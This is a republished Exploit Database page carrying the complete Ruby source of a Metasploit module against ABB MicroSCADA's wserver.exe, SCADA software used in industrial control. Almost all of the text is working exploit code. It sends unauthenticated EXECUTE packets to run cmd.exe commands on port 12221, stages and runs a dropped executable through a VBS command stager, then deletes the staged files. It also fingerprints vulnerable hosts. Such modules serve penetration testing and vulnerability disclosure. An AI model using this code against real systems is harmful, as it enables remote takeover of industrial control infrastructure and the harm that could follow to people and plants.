ABB MicroSCADA – ‘wserver.exe’ Remote Code Execution (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2013-12-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/30009/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerVBS
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'ABB MicroSCADA wserver.exe Remote Code Execution',
  'Description'=> %q{
  This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
  issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
  component, which allows arbitrary commands. The component is disabled by default, but
  required when a project uses the SCIL function WORKSTATION_CALL.
  
  This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
  Windows XP SP3 and Windows 7 SP1.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'Brian Gorenc', # Original discovery
  'juan vazquez'# Metasploit module
  ],
  'References' =>
  [
  [ 'OSVDB', '100324'],
  [ 'ZDI', '13-270' ],
  [ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
  ],
  'Platform' => 'win',
  'Arch' => ARCH_X86,
  'DefaultOptions' =>
  {
  'WfsDelay' => 5
  },
  'Targets'=>
  [
  [ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
  ],
  'DefaultTarget'=> 0,
  'Privileged' => false,
  'DisclosureDate' => 'Apr 05 2013'
  ))
  
  register_options([Opt::RPORT(12221)], self.class)
  end
  
  def check
  
  # Send an EXECUTE packet without command, a valid response
  # should include an error code, which is good enough to
  # fingerprint.
  op = "EXECUTE\x00"
  pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
  pkt = pkt_length
  pkt << op
  
  connect
  sock.put(pkt)
  res = sock.get_once
  disconnect
  
  if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
  return Exploit::CheckCode::Vulnerable
  end
  
  return Exploit::CheckCode::Safe
  
  end
  
  def exploit
  # More then 750 will trigger overflow...
  # Cleaning is done by the exploit on execute_cmdstager_end
  execute_cmdstager({:linemax => 750, :nodelete => true})
  end
  
  def execute_cmdstager_end(opts)
  @var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
  @var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
  @var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
  @var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
  print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
  execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
  print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
  execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
  print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
  execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
  end
  
  def execute_command(cmd, opts)
  op = "EXECUTE\x00"
  command = "cmd.exe /c #{cmd}"
  pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
  
  pkt = pkt_length
  pkt << op
  pkt << command
  
  connect
  sock.put(pkt)
  res = sock.get_once
  disconnect
  
  unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
  fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
  end
  end
  end